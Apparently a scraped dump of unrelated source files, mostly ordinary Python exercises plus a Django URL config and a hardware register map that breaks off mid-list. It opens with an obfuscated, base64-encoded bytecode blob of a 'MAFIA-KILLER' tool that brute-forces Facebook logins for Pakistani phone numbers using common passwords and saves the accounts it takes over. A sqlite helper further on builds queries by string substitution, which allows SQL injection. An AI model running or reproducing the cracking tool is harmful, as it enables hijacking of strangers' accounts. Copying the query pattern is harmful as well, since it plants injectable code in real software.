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BCgEJARJuDAEQAQkBBQEpAQUBCgEFCgUDCgF0CAAAAF9fbWFpbl9fKAIAAABzCgAAAFVzZXItQWdlbnRzUgAAAE9wZXJhLzkuODAgKEFuZHJvaWQ7IE9wZXJhIE1pbmkvMzIuMC4yMjU0Lzg1LiBVOyBpZCkgUHJlc3RvLzIuMTIuNDIzIFZlcnNpb24vMTIuMTYoAgAAAHMKAAAAdXNlci1hZ2VudHMeAQAARGFsdmlrLzEuNi4wIChMaW51eDsgVTsgQW5kcm9pZCA0LjQuMjsgTlg1NSBCdWlsZC9LT1Q1NTA2KSBbRkJBTi9GQjRBO0ZCQVYvMTA2LjAuMC4yNi42ODtGQkJWLzQ1OTA0MTYwO0ZCRE0ve2RlbnNpdHk9My4wLHdpZHRoPTEwODAsaGVpZ2h0PTE5MjB9O0ZCTEMvaXRfSVQ7RkJSVi80NTkwNDE2MDtGQkNSL1Bvc3RlTW9iaWxlO0ZCTUYvYXN1cztGQkJEL2FzdXM7RkJQTi9jb20uZmFjZWJvb2sua2F0YW5hO0ZCRFYvQVNVU19aMDBBRDtGQlNWLzUuMDtGQk9QLzE7RkJDQS94ODY6YXJtZWFiaS12N2E7XSg9AAAAUgYAAABSBwAAAFIeAAAAdAgAAABkYXRldGltZVIOAAAAdAcAAABoYXNobGlidAIAAAByZXQJAAAAdGhyZWFkaW5nUkAAAAB0BgAAAHVybGxpYnQJAAAAY29va2llbGlidAcAAABnZXRwYXNzUikAAAB0BQAAAHJhbmdldAEAAABuUg8AAAB0BAAAAG5tYnJSPwAAAFIaAAAAUh0AAAB0CAAAAHJlcXVlc3RzdAsAAABJbXBvcnRFcnJvcnQJAAAAbWVjaGFuaXplUh8AAAB0FAAAAG11bHRpcHJvY2Vzc2luZy5wb29sUgEAAAB0EwAAAHJlcXVlc3RzLmV4Y2VwdGlvbnNSAgAAAFIDAAAAdAYAAAByZWxvYWR0EgAAAHNldGRlZmF1bHRlbmNvZGluZ1I+AAAAdBEAAABzZXRfaGFuZGxlX3JvYm90c3QFAAAARmFsc2V0EgAAAHNldF9oYW5kbGVfcmVmcmVzaHQFAAAAX2h0dHB0FAAAAEhUVFBSZWZyZXNoUHJvY2Vzc29ydAoAAABhZGRoZWFkZXJzUgkAAABSFgAAAFIRAAAAUiIAAABSJQAAAHQEAAAAYmFja1JDAAAAUlcAAABSRQAAAHQGAAAAdnVsbm90dAQAAAB2dWxuUiwAAABSVQAAAHQPAAAAQ29ycmVjdFBhc3Njb2RldAQAAABsb29wUi8AAAB0CAAAAHBhc3Njb2RlUisAAABSKgAAAFItAAAAUjAAAABSMgAAAHQIAAAAX19uYW1lX18oAAAAACgAAAAAKAAAAABzAgAAAGRndAgAAAA8bW9kdWxlPgEAAABzdAAAAJABDQETAhICEgIFAhECAwEQAQ0BEQIDARABDQENAQ0BEQKcARABEAEQAwoBDQEMAQ0BHAEMAQwCCQQJCAkKCQUJBgYBBgEGAQYBBgEGAg0QBRIGKAYCBgIGAQ8BDAEMAwUBCQIFAREECQQJCAkHCQkJpQwB"))) |
990,102 | 3fd328e82f0bb83347c79e0812f4e62764f835fe | # Definition for singly-linked list.
class ListNode:
def __init__(self, val=0, next=None):
self.val = val
self.next = next
class Solution:
def addTwoNumbers(self, l1: ListNode, l2: ListNode) -> ListNode:
if l1 == None:
return l2
if l2 == None:
return l1
sval = l1.val + l2.val
if sval < 10:
ansNode = ListNode(sval)
ansNode.next = self.addTwoNumbers(l1.next, l2.next)
return ansNode
else:
rval = sval - 10
ansNode = ListNode(rval)
ansNode.next = self.addTwoNumbers(ListNode(1), self.addTwoNumbers(l1.next, l2.next))
return ansNode
node1 = ListNode(3,ListNode(2,ListNode(1)))
node2 = ListNode(7,ListNode(8))
answer = Solution().addTwoNumbers(node1,node2)
print(answer.val,answer.next.val,answer.next.next.val) |
990,103 | 36176242a0015b76f57e506f0acd4d1510bbfd73 | import sqlite3
class DBHelper:
@staticmethod
def make_table(db_name, table_name):
conn = sqlite3.connect(db_name)
c = conn.cursor()
print "CREATE TABLE if not exists {} (artist_name text, lyrics text, phrase_counts text)".format(table_name)
c.execute("CREATE TABLE if not exists {} (artist_name text, lyrics text, phrase_counts text)".format(table_name))
conn.commit()
conn.close()
@staticmethod
def update_lyrics(db_name, table_name, artist, lyrics):
conn = sqlite3.connect(db_name)
c = conn.cursor()
# print'''INSERT INTO {} (artist_name, lyrics) VALUES (?,?)'''.format(table_name), (artist, lyrics)
c.execute('''INSERT INTO {} (artist_name, lyrics) VALUES (?,?)'''.format(table_name), (artist, lyrics))
conn.commit()
conn.close()
@staticmethod
def get_lyrics(db_name, table_name, key):
conn = sqlite3.connect(db_name)
c = conn.cursor()
c.execute("SELECT lyrics from {} where artist_name='?'".format(table_name).replace("?", key) + ";")
row = c.fetchone()
conn.commit()
conn.close()
if row != None:
return str(tuple(row)[0])
@staticmethod
def update_phrase_counts(db_name, table_name, artist, counts):
conn = sqlite3.connect(db_name)
c = conn.cursor()
c.execute('''UPDATE {} set phrase_counts=? where artist_name=?'''.format(table_name), (counts, artist))
conn.commit()
conn.close()
@staticmethod
def get_phrase_counts(db_name, table_name, key):
conn = sqlite3.connect(db_name)
c = conn.cursor()
c.execute("SELECT lyrics from {} where phrase_counts='?'".format(table_name).replace("?", key))
row = c.fetchone()
conn.commit()
conn.close()
if row != None:
return str(tuple(row)[0]) |
990,104 | c2fd5870cfe08c9c55c75dd2065678bffd0a3470 | # coding=utf-8
class ZoozException(Exception):
"""
Extends Exception class adding:
message: error message returned by ZooZ
status_code: response status returned by ZooZ
"""
def __init__(self, message, status_code):
Exception.__init__(self, message)
self.status_code = status_code
|
990,105 | f79706e607f81916381e9ec96d9d61bab7436378 | from cuenta_bancaria import BankAccount
class User:
def __init__(self, name, email):
self.name = name
self.email = email
self.cuentas=[]
self.cuentas.append(BankAccount(int_rate=0.02, balance=0))
#self.account =
def new_account(self,int_rate=0, amount=0):
self.cuentas.append(BankAccount(int_rate, amount))
def make_deposit(self,amount,n_cuenta=1):
if n_cuenta <= len(self.cuentas):
self.cuentas[n_cuenta-1].deposit(amount)
else:
print("Esta cuenta no existe")
return self
def make_withdrawl(self,amount,n_cuenta=1):
if n_cuenta <= len(self.cuentas):
if self.cuentas[n_cuenta-1].saldo<amount:
print("Saldo insuficiente")
else:
self.cuentas[n_cuenta-1].withdraw(amount)
else:
print("Esta cuenta no existe")
return self
def display_user_balance (self):
for cuenta in range(len(self.cuentas)):
print(f"Cuenta {cuenta+1}:")
self.cuentas[cuenta].display_acount_info()
return self
def transfer_money(self, other_user, amount,c1_self=1,c2_other=1):
self.make_withdrawl(amount,c1_self)
other_user.make_deposit(amount,c2_other)
print(f"Se realiazó una tef desde {self.name}:cuenta {c1_self} hacia {other_user.name}:cuenta {c2_other} por la cantidad de :{amount}")
return self
ani = User("Anakin Skywalker", "vader@sith.com")
pedro = User("Din Djarin", "mando@mandalor.com")
ani.make_deposit(321,1)
ani.make_withdrawl(121,1)
ani.display_user_balance()
print("\nCreamos una nueva cuenta y la desplegamos")
ani.new_account(0.1,1000)
ani.display_user_balance()
print("\nDepositamos a Din 2 lukas")
pedro.make_deposit(2000)
pedro.display_user_balance()
print("\nRealizamos una transferencia")
ani.transfer_money(pedro,150,2,1)
print("\nLuego de la transferencia balance de Din")
pedro.display_user_balance()
print("\nLuego de la transferencia balance de Ani")
ani.display_user_balance()
#pedro.make_deposit(1000).make_withdrawl(100).make_withdrawl(154).make_withdrawl(238).display_user_balance()
#ani.transfer_money(pedro,150) |
990,106 | 992d164eb956ab141ee853837687e946260aae9d | '''
Created on 2009-9-14
@author: selfimpr
'''
vowels = 'aeiou'
def count(s):
result = 0
for word in s.split():
if word[0] in vowels:
result += 1
return result
print count('hello, every are you fine these days') |
990,107 | 596712a85a7b1de2bba722cce2504c279c48fca3 | from math import inf
def median(prev, curr, size):
return curr if size % 2 else (prev + curr) / 2
# T=m+n,S=1
def x(nums1, nums2):
m, n = len(nums1), len(nums2)
mid, prev, curr, i, j, k = (m + n) // 2, None, None, 0, 0, -1
while i < m and j < n:
if nums1[i] < nums2[j]:
prev, curr, i, k = curr, nums1[i], i + 1, k + 1
else:
prev, curr, j, k = curr, nums2[j], j + 1, k + 1
if k == mid:
return median(prev, curr, m + n)
while i < m:
prev, curr, i, k = curr, nums1[i], i + 1, k + 1
if k == mid:
return median(prev, curr, m + n)
while j < n:
prev, curr, j, k = curr, nums2[j], j + 1, k + 1
if k == mid:
return median(prev, curr, m + n)
# T=log(min(m,n)),S=1
def y(nums1, nums2):
m, n = len(nums1), len(nums2)
if n < m:
return y(nums2, nums1)
low, high = 0, m
while low <= high:
nums1LeftCount = low + (high - low) // 2
nums2LeftCount = (m + n + 1) // 2 - nums1LeftCount
nums1LeftMax = -inf if nums1LeftCount == 0 else nums1[nums1LeftCount - 1]
nums1RightMin = inf if nums1LeftCount == m else nums1[nums1LeftCount]
nums2LeftMax = -inf if nums2LeftCount == 0 else nums2[nums2LeftCount - 1]
nums2RightMin = inf if nums2LeftCount == n else nums2[nums2LeftCount]
if nums1LeftMax > nums2RightMin:
high = nums1LeftCount - 1
elif nums2LeftMax > nums1RightMin:
low = nums1LeftCount + 1
else:
left_max = max(nums1LeftMax, nums2LeftMax)
return left_max if (m + n) % 2 else (left_max + min(nums1RightMin, nums2RightMin)) / 2
for nums1, nums2 in [
([1, 2], [1, 4, 7]),
([], [2, 3]),
([5], []),
([], [5]),
([], [1]),
([2], []),
([], [1, 2, 3, 4]),
([1, 4], [1, 2]),
([1, 2, 3], [8, 12]),
([1, 2], [3, 4]),
([0, 0], [0, 0]),
([1, 12, 15, 26, 38], [2, 13, 17, 30, 45]),
([1, 2, 3, 6], [4, 6, 8, 10]),
([1, 2, 3, 16], [4, 5, 7, 8]),
([3, 5, 7, 10, 15], [2, 4, 12]),
([3, 9, 12, 13, 14, 19], [7, 17, 20, 24, 26, 28, 30, 32]),
([1, 2, 3], [4, 5, 6]),
([4, 5, 6], [1, 2, 3]),
([1, 2, 3], [4, 5, 6, 7]),
([1, 2], [3, 4, 5]),
([1, 2, 3], [4, 5]),
([4, 5], [1, 2, 3])
]:
print(x(nums1, nums2), end=' ')
print(y(nums1, nums2))
|
990,108 | b9f1c639cf60fb3506536d2825cd6112f5508e7b |
from django.contrib import admin
from django.urls import path,include
from django.conf import settings
from django.conf.urls.static import static
from django.contrib.staticfiles.urls import staticfiles_urlpatterns
urlpatterns = [
path('admin/', admin.site.urls),
path('DR/', include("apps.webapp.urls")),
path('predictor/',include("apps.predictor.urls")),
]
if settings.DEBUG:
urlpatterns +=staticfiles_urlpatterns()
urlpatterns +=static(settings.MEDIA_URL,document_root = settings.MEDIA_ROOT)
|
990,109 | c11bc265a3b90e676bba7969abfb0b62de22a9e4 | """
`_evo.py`
========================================================
Copyright 2020 Alorium Technology. All rights reserved.
Contact: info@aloriumtech.com
Description:
This file is part of the Alorium Technology CiricuitPython Library Bundle
and provides the CSR address mapping for the Evo M51 board.
"""
import busio
import board
import struct
# SVN version 257
I2C_TWCR_ADDR = 0xE0
I2C_TWDR_ADDR = 0xE1
I2C_TWAR_ADDR = 0xE2
I2C_TWSR_ADDR = 0xE3
I2C_TWBR_ADDR = 0xE4
I2C_TWAMR_ADDR = 0xE5
FCFG_CID_ADDR = 0xCF
FCFG_CTL_ADDR = 0xD0
FCFG_STS_ADDR = 0xD1
FCFG_DAT_ADDR = 0xD2
EVO_INFO_MODEL_ADDR = 0x0
EVO_INFO_SERIAL_ADDR = 0x1
EVO_INFO_PART_ADDR = 0x2
EVO_INFO_FTYPE_ADDR = 0x10
EVO_INFO_FSIZE_ADDR = 0x11
EVO_INFO_FSPLY_ADDR = 0x12
EVO_INFO_FFEAT_ADDR = 0x13
EVO_INFO_FPACK_ADDR = 0x14
EVO_INFO_FPINS_ADDR = 0x15
EVO_INFO_FTEMP_ADDR = 0x16
EVO_INFO_FSPED_ADDR = 0x17
EVO_INFO_FOPTN_ADDR = 0x18
EVO_INFO_VER_ADDR = 0x20
EVO_INFO_SVN_ADDR = 0x21
EVO_INFO_XBNUM_ADDR = 0x30
EVO_INFO_XB01_ADDR = 0x31
EVO_INFO_XB02_ADDR = 0x32
EVO_INFO_XB03_ADDR = 0x33
EVO_INFO_XB04_ADDR = 0x34
EVO_INFO_XB05_ADDR = 0x35
EVO_INFO_XB06_ADDR = 0x36
EVO_INFO_XB07_ADDR = 0x37
EVO_INFO_XB08_ADDR = 0x38
EVO_INFO_XB09_ADDR = 0x39
EVO_INFO_XB10_ADDR = 0x3a
EVO_INFO_XB11_ADDR = 0x3b
EVO_INFO_XB12_ADDR = 0x3c
EVO_INFO_XB13_ADDR = 0x3d
EVO_INFO_XB14_ADDR = 0x3e
EVO_INFO_XB15_ADDR = 0x3f
PORT_D_ADDR = 0x010
DDR_D_ADDR = 0x011
PIN_D_ADDR = 0x012
PCMSK_D_ADDR = 0x013
PORT_F_ADDR = 0x014
DDR_F_ADDR = 0x015
PIN_F_ADDR = 0x016
PCMSK_F_ADDR = 0x017
PORT_E_ADDR = 0x018
DDR_E_ADDR = 0x019
PIN_E_ADDR = 0x01A
PCMSK_E_ADDR = 0x01B
PORT_Z_ADDR = 0x01C
DDR_Z_ADDR = 0x01D
PIN_Z_ADDR = 0x01E
PCMSK_Z_ADDR = 0x01F
REG_H000 = 0x000
EVO_INFO_ADDR = 0x001
EVO_TWCR_ADDR = 0x008
EVO_TWDR_ADDR = 0x009
EVO_TWAR_ADDR = 0x00A
EVO_TWSR_ADDR = 0x00B
EVO_TWBR_ADDR = 0x00C
EVO_TWAMR_ADDR = 0x00D
REG_H00E = 0x00E
REG_H00F = 0x00F
D2F_BASE_ADDR = 0x010
D2F_DIR_ADDR = D2F_BASE_ADDR + 0x000
D2F_DIRCLR_ADDR = D2F_BASE_ADDR + 0x001
D2F_DIRSET_ADDR = D2F_BASE_ADDR + 0x002
D2F_DIRTGL_ADDR = D2F_BASE_ADDR + 0x003
D2F_EN_ADDR = D2F_BASE_ADDR + 0x004
D2F_ENCLR_ADDR = D2F_BASE_ADDR + 0x005
D2F_ENSET_ADDR = D2F_BASE_ADDR + 0x006
D2F_ENTGL_ADDR = D2F_BASE_ADDR + 0x007
FLASH_BASE_ADDR = 0x040
FLASH_STS_ADDR = FLASH_BASE_ADDR + 0x000
FLASH_CTL_ADDR = FLASH_BASE_ADDR + 0x001
FLASH_CRC_ADDR = FLASH_BASE_ADDR + 0x002
FLASH_IMG_ADDR = FLASH_BASE_ADDR + 0x003
FLASH_DBG_ADDR = FLASH_BASE_ADDR + 0x004
FLASH_APAGE_ADDR = FLASH_BASE_ADDR + 0x010
FLASH_APAGE_00_ADDR = FLASH_APAGE_ADDR + 0x000
FLASH_APAGE_01_ADDR = FLASH_APAGE_ADDR + 0x001
FLASH_APAGE_02_ADDR = FLASH_APAGE_ADDR + 0x002
FLASH_APAGE_03_ADDR = FLASH_APAGE_ADDR + 0x003
FLASH_APAGE_04_ADDR = FLASH_APAGE_ADDR + 0x004
FLASH_APAGE_05_ADDR = FLASH_APAGE_ADDR + 0x005
FLASH_APAGE_06_ADDR = FLASH_APAGE_ADDR + 0x006
FLASH_APAGE_07_ADDR = FLASH_APAGE_ADDR + 0x007
FLASH_APAGE_08_ADDR = FLASH_APAGE_ADDR + 0x008
FLASH_APAGE_09_ADDR = FLASH_APAGE_ADDR + 0x009
FLASH_APAGE_10_ADDR = FLASH_APAGE_ADDR + 0x00A
FLASH_APAGE_11_ADDR = FLASH_APAGE_ADDR + 0x00B
FLASH_APAGE_12_ADDR = FLASH_APAGE_ADDR + 0x00C
FLASH_APAGE_13_ADDR = FLASH_APAGE_ADDR + 0x00D
FLASH_APAGE_14_ADDR = FLASH_APAGE_ADDR + 0x00E
FLASH_APAGE_15_ADDR = FLASH_APAGE_ADDR + 0x00F
FLASH_APAGE_16_ADDR = FLASH_APAGE_ADDR + 0x010
FLASH_APAGE_17_ADDR = FLASH_APAGE_ADDR + 0x011
FLASH_APAGE_18_ADDR = FLASH_APAGE_ADDR + 0x012
FLASH_APAGE_19_ADDR = FLASH_APAGE_ADDR + 0x013
FLASH_APAGE_20_ADDR = FLASH_APAGE_ADDR + 0x014
FLASH_APAGE_21_ADDR = FLASH_APAGE_ADDR + 0x015
FLASH_APAGE_22_ADDR = FLASH_APAGE_ADDR + 0x016
FLASH_APAGE_23_ADDR = FLASH_APAGE_ADDR + 0x017
FLASH_APAGE_24_ADDR = FLASH_APAGE_ADDR + 0x018
FLASH_APAGE_25_ADDR = FLASH_APAGE_ADDR + 0x019
FLASH_APAGE_26_ADDR = FLASH_APAGE_ADDR + 0x01A
FLASH_APAGE_27_ADDR = FLASH_APAGE_ADDR + 0x01B
FLASH_APAGE_28_ADDR = FLASH_APAGE_ADDR + 0x01C
FLASH_APAGE_29_ADDR = FLASH_APAGE_ADDR + 0x01D
FLASH_APAGE_30_ADDR = FLASH_APAGE_ADDR + 0x01E
FLASH_APAGE_31_ADDR = FLASH_APAGE_ADDR + 0x01F
PORT_D_BASE_ADDR = 0x080
PORT_D_DIR_ADDR = PORT_D_BASE_ADDR + 0x000
PORT_D_DIRCLR_ADDR = PORT_D_BASE_ADDR + 0x001
PORT_D_DIRSET_ADDR = PORT_D_BASE_ADDR + 0x002
PORT_D_DIRTGL_ADDR = PORT_D_BASE_ADDR + 0x003
PORT_D_OUT_ADDR = PORT_D_BASE_ADDR + 0x004
PORT_D_OUTCLR_ADDR = PORT_D_BASE_ADDR + 0x005
PORT_D_OUTSET_ADDR = PORT_D_BASE_ADDR + 0x006
PORT_D_OUTTGL_ADDR = PORT_D_BASE_ADDR + 0x007
PORT_D_IN_ADDR = PORT_D_BASE_ADDR + 0x008
PORT_D_CTRL_ADDR = PORT_D_BASE_ADDR + 0x009
PORT_D_WRCONFIG_ADDR = PORT_D_BASE_ADDR + 0x00A
PORT_D_EVCTRL_ADDR = PORT_D_BASE_ADDR + 0x00B
PORT_D_PMUXEN_ADDR = PORT_D_BASE_ADDR + 0x00C
PORT_D_PMUXENCLR_ADDR = PORT_D_BASE_ADDR + 0x00D
PORT_D_PMUXENSET_ADDR = PORT_D_BASE_ADDR + 0x00E
PORT_D_PMUXENTGL_ADDR = PORT_D_BASE_ADDR + 0x00F
PORT_D_PINMUX00_ADDR = PORT_D_BASE_ADDR + 0x010
PORT_D_PINMUX01_ADDR = PORT_D_BASE_ADDR + 0x011
PORT_D_PINMUX02_ADDR = PORT_D_BASE_ADDR + 0x012
PORT_D_PINMUX03_ADDR = PORT_D_BASE_ADDR + 0x013
PORT_D_PINMUX04_ADDR = PORT_D_BASE_ADDR + 0x014
PORT_D_PINMUX05_ADDR = PORT_D_BASE_ADDR + 0x015
PORT_D_PINMUX06_ADDR = PORT_D_BASE_ADDR + 0x016
PORT_D_PINMUX07_ADDR = PORT_D_BASE_ADDR + 0x017
PORT_D_PINMUX08_ADDR = PORT_D_BASE_ADDR + 0x018
PORT_D_PINMUX09_ADDR = PORT_D_BASE_ADDR + 0x019
PORT_D_PINMUX10_ADDR = PORT_D_BASE_ADDR + 0x01A
PORT_D_PINMUX11_ADDR = PORT_D_BASE_ADDR + 0x01B
PORT_D_PINMUX12_ADDR = PORT_D_BASE_ADDR + 0x01C
PORT_D_PINMUX13_ADDR = PORT_D_BASE_ADDR + 0x01D
PORT_D_PINMUX14_ADDR = PORT_D_BASE_ADDR + 0x01E
PORT_D_PINMUX15_ADDR = PORT_D_BASE_ADDR + 0x01F
PORT_D_PINCFG00_ADDR = PORT_D_BASE_ADDR + 0x020
PORT_D_PINCFG01_ADDR = PORT_D_BASE_ADDR + 0x021
PORT_D_PINCFG02_ADDR = PORT_D_BASE_ADDR + 0x022
PORT_D_PINCFG03_ADDR = PORT_D_BASE_ADDR + 0x023
PORT_D_PINCFG04_ADDR = PORT_D_BASE_ADDR + 0x024
PORT_D_PINCFG05_ADDR = PORT_D_BASE_ADDR + 0x025
PORT_D_PINCFG06_ADDR = PORT_D_BASE_ADDR + 0x026
PORT_D_PINCFG07_ADDR = PORT_D_BASE_ADDR + 0x027
PORT_D_PINCFG08_ADDR = PORT_D_BASE_ADDR + 0x028
PORT_D_PINCFG09_ADDR = PORT_D_BASE_ADDR + 0x029
PORT_D_PINCFG10_ADDR = PORT_D_BASE_ADDR + 0x02A
PORT_D_PINCFG11_ADDR = PORT_D_BASE_ADDR + 0x02B
PORT_D_PINCFG12_ADDR = PORT_D_BASE_ADDR + 0x02C
PORT_D_PINCFG13_ADDR = PORT_D_BASE_ADDR + 0x02D
